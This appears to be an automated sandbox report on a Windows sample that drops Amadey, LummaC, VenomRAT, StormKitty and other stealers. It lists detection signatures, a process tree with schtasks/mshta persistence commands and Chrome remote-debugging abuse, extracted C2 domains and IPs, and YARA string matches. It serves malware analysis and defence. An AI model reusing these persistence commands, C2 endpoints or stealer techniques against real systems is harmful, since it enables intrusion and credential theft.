Edit tour

Windows Analysis Report
UWYXurYZ2x.exe

Overview

General Information

Sample name:	UWYXurYZ2x.exe renamed because original name is a hash value
Original sample name:	c873c0af86d36318f23bf63377181cdd.exe
Analysis ID:	1589502
MD5:	c873c0af86d36318f23bf63377181cdd
SHA1:	1277d3f0a9ceb8260fbe396f2a7369381bfb7406
SHA256:	203a5b531b8803628b6aa37e8a7e08a0c83e3f10bba6155e2529cc0bc97548f7
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadey

Yara detected Amadeys stealer DLL

Yara detected Babadeda

Yara detected BrowserPasswordDump

Yara detected DanaBot stealer dll

Yara detected Keylogger Generic

Yara detected LummaC Stealer

Yara detected Poverty Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected StormKitty Stealer

Yara detected VenomRAT

Yara detected Vidar stealer

Yara detected obfuscated html page

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Creates HTA files

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

May use the Tor software to hide its network traffic

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to resolve many domain names, but no domain seems valid

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the installation date of Windows

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

UWYXurYZ2x.exe (PID: 7468 cmdline: "C:\Users\user\Desktop\UWYXurYZ2x.exe" MD5: C873C0AF86D36318F23BF63377181CDD)

skotes.exe (PID: 7684 cmdline: "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: C873C0AF86D36318F23BF63377181CDD)

skotes.exe (PID: 7700 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C873C0AF86D36318F23BF63377181CDD)

skotes.exe (PID: 7236 cmdline: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C873C0AF86D36318F23BF63377181CDD)

oavvDqT.exe (PID: 1912 cmdline: "C:\Users\user~1\AppData\Local\Temp\1034725001\oavvDqT.exe" MD5: A0536969D73946775B6F51A3475909A1)

BitLockerToGo.exe (PID: 7524 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

13Z5sqy.exe (PID: 1168 cmdline: "C:\Users\user~1\AppData\Local\Temp\1034761001\13Z5sqy.exe" MD5: E8A5869F5D620B5B33B70EA5ACCB6AE9)

usPaQ3D.exe (PID: 1552 cmdline: "C:\Users\user~1\AppData\Local\Temp\1037345001\usPaQ3D.exe" MD5: 441DA4796862373EC5F2EBC9A26AF14A)

WZMQlGj.exe (PID: 1964 cmdline: "C:\Users\user~1\AppData\Local\Temp\1038070001\WZMQlGj.exe" MD5: 9A687D1ACBA1F61C2BDCB9B479BC9FA6)

oldVNC.exe (PID: 7488 cmdline: "C:\Users\user~1\AppData\Local\Temp\1038359001\oldVNC.exe" MD5: E93AE1069DB1872A792F4DADCE02EC26)

HNsLLEj.exe (PID: 7544 cmdline: "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe" MD5: BCB905E5911BB8FE587B8FDF40495F08)

conhost.exe (PID: 7552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

HNsLLEj.exe (PID: 7596 cmdline: "C:\Users\user~1\AppData\Local\Temp\1038856001\HNsLLEj.exe" MD5: BCB905E5911BB8FE587B8FDF40495F08)

WerFault.exe (PID: 6844 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7544 -s 912 MD5: C31336C1EFC2CCB44B4326EA793040F2)

bKIFsVe.exe (PID: 7736 cmdline: "C:\Users\user~1\AppData\Local\Temp\1038908001\bKIFsVe.exe" MD5: 38A3DB1B2362BFB8E0E0537F4299796A)

chrome.exe (PID: 2352 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2696 --field-trial-handle=2628,i,12236154864651446305,11948842674796817194,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

5f6d06eefa.exe (PID: 7700 cmdline: "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" MD5: 594C5B62E08311E01197A10A18CECB7B)

cmd.exe (PID: 5996 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\7EA0.tmp\7EB1.tmp\7EB2.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7056 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe" any_word MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

5f6d06eefa.exe (PID: 6568 cmdline: C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word MD5: 594C5B62E08311E01197A10A18CECB7B)

cmd.exe (PID: 5208 cmdline: "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\842E.tmp\842F.tmp\8430.bat C:\Users\user~1\AppData\Local\Temp\1038971001\5f6d06eefa.exe any_word" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 6576 cmdline: timeout /t 2 MD5: 100065E21CFBBDE57CBA2838921F84D6)

cmd.exe (PID: 5172 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7048 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6140 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 2340 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5956 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 6692 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: 04029E121A0CFA5991749937DD22A1D9)

schtasks.exe (PID: 432 cmdline: schtasks /create /tn "xDvMwmaSqhU" /tr "mshta \"C:\Temp\Pn8FljxwM.hta\"" /sc minute /mo 25 /ru "user" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 7052 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 3740 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6528 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4480 cmdline: "C:\Windows\system32\cmd.exe" /c "C:\Users\user~1\AppData\Local\Temp\1038978021\am_no.cmd" any_word MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3640 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 2940 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 6996 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 4532 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7988 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 4524 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

schtasks.exe (PID: 4164 cmdline: schtasks /create /tn "TFEmhma7T5L" /tr "mshta \"C:\Temp\2alGwEWbJ.hta\"" /sc minute /mo 25 /ru "user" /f MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 2040 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 6376 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 2848 cmdline: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 8188 cmdline: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

b2ee16741f.exe (PID: 2520 cmdline: "C:\Users\user~1\AppData\Local\Temp\1039079001\b2ee16741f.exe" MD5: 815D10533B90709F0F9E7C473B74277B)

fe4d890d0f.exe (PID: 7860 cmdline: "C:\Users\user~1\AppData\Local\Temp\1039112001\fe4d890d0f.exe" MD5: 0EBEFA244B6FD0B53F07EBA2BB46A6F4)

svchost.exe (PID: 6296 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

mshta.exe (PID: 3416 cmdline: C:\Windows\system32\mshta.EXE "C:\Temp\2alGwEWbJ.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

mshta.exe (PID: 6112 cmdline: C:\Windows\system32\mshta.EXE "C:\Temp\Pn8FljxwM.hta" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus engines.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
DanaBot	Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on quality over quantity in email-based threats. DanaBots modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.	SCULLY SPIDER	https://asec.ahnlab.com/en/30445/ https://asert.arbornetworks.com/danabots-travels-a-global-perspective/ https://assets.virustotal.com/reports/2021trends.pdf https://blog.lexfo.fr/danabot-malware.html https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/	https://malpedia.caad.fkie.fraunhofer.de/details/win.danabot

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, 404KeyLogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: LummaC

{"C2 url": ["leggelatez.lat", "finickypwk.lat", "shoefeatthe.lat", "kickykiduz.lat", "miniatureyu.lat", "savorraiykj.lat", "bloodyswif.lat", "washyceehsu.lat", "plodnittpw.lat"], "Build id": "LOGS11--6969"}

Threatname: VenomRAT

{"Host": ["157.20.182.24"], "Port": ["4449"], "Version": "RAT + hVNC  6.0.5", "Install": "false", "Mutex": "brdveeghmswbhq", "Certificate": "MIICLjCCAZegAwIBAgIVANOquAMMVJHWXj5NlAVx72mq49flMA0GCSqGSIb3DQEBDQUAMGIxFTATBgNVBAMMDFZlbm9tIFNlcnZlcjESMBAGA1UECwwJYWxleGVpa3VuMRswGQYDVQQKDBJWZW5vbSBCeSBhbGV4ZWlrdW4xCzAJBgNVBAcMAlNIMQswCQYDVQQGEwJDTjAeFw0yNDAzMjcwMzAxNDVaFw0zNTAxMDQwMzAxNDVaMBAxDjAMBgNVBAMMBVZlbm9tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCz8v5BXpJVlTskoO2U9HPKeCAzhO19K9oaPFK1Z2CiaslDfcqrmGl41emeh1ZgrLhn7qhsfl8uy/8LjYuXPIBcapTNYm9r3E9KluHKtj2PFINZCw+39GOwMI7Mh2gBbE2/uFscDpzhPf6hnWA2gxD9WdtxT8+wBFh5pQODgLhE8wIDAQABozIwMDAdBgNVHQ4EFgQUPGG0Y8t545HJDgkBIkzHw9xg5G4wDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQBAWQ9Fu1TI3Ouj/6ERR1HNudA3R+mRMrGbB8GvhvBU1+9nQFhvJk9EzKS2C+q4xbB/6cZZVlX/I2JQgUck8zYmXTVWPWEbprJd2hfj8LjMOmYeFT9gYxZ11bpdkzxncpn5AcWGPTzLBRswxWeOmJkJ4Ujdl26+03XG8iJ3ZQh6pg==", "Server Signature": "R7iLCgxlbrb+8E34bSn88cc7pbgys7N28DATfPPUQDsoSDg0nRd7JR1lgs20PhafwpZObK9orYyq/S0Hadu+DPyBnKtNcp/WU+oDAiun1Z1EXHdOv6EboNEydqPdQCbhipQADby5jFgxuqAZYgqFdlbOf2fcsaCY4O6JDow9pNQ="}

Threatname: Poverty Stealer

{"C2 url": "185.244.212.106:2227"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x1bc26f2:$a1: havecamera 0x1c17024:$a2: timeout 3 > NUL 0x1c1a99b:$a3: START "" " 0x1c1aef6:$a3: START "" " 0x1c1add1:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x1c1ae6e:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
dump.pcap	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x1c1f3e2:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
dump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1c16770:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x1c1217f:$s6: VirtualBox 0x1c23a7d:$s6: VirtualBox 0x1c1ec6a:$s8: Win32_ComputerSystem 0x1c239e3:$s8: Win32_ComputerSystem 0x1c1b796:$s9: Win32_Process Where ParentProcessID= 0x1c1b36d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1c1b40a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1c1b51f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1c1b607:$cnc4: POST / HTTP/1.1
sslproxydump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Temp\2alGwEWbJ.hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\HNsLLEj[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1038856001\HNsLLEj.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Temp\Pn8FljxwM.hta	JoeSecurity_Obshtml	Yara detected obfuscated html page	Joe Security
C:\Users\user\AppData\Local\Temp\1038971001\5f6d06eefa.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c53:$str12: Target.Browsers.Firefox 0x26f3ce:$str13: Modules.Keylogger 0x277291:$str14: ClipperAddresses 0x279436:$str15: ChromiumPswPaths 0x279448:$str15: ChromiumPswPaths 0x27538b:$str16: DetectedBankingServices 0x2754f4:$str17: DetectCryptocurrencyServices 0x2833ed:$str18: CheckRemoteDebuggerPresent 0x284372:$str19: GetConnectedCamerasCount
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe83:$str03: set_sExpMonth 0x27523e:$str04: WritePasswords 0x275cf8:$str05: WriteCookies 0x279447:$str06: sChromiumPswPaths 0x279422:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b830:$str05: Perfor_mance 0x29b874:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3c9:$str08: get_ActivatePo_ng 0x270304:$str09: isVM_by_wim_temper 0x29c122:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b410:$str12: ProcessHacker.exe 0x29b602:$str13: Select * from Win32_CacheMemory
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b602:$q1: Select * from Win32_CacheMemory 0x29b642:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b690:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b6de:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
C:\Users\user\AppData\Local\Temp\1037345001\usPaQ3D.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
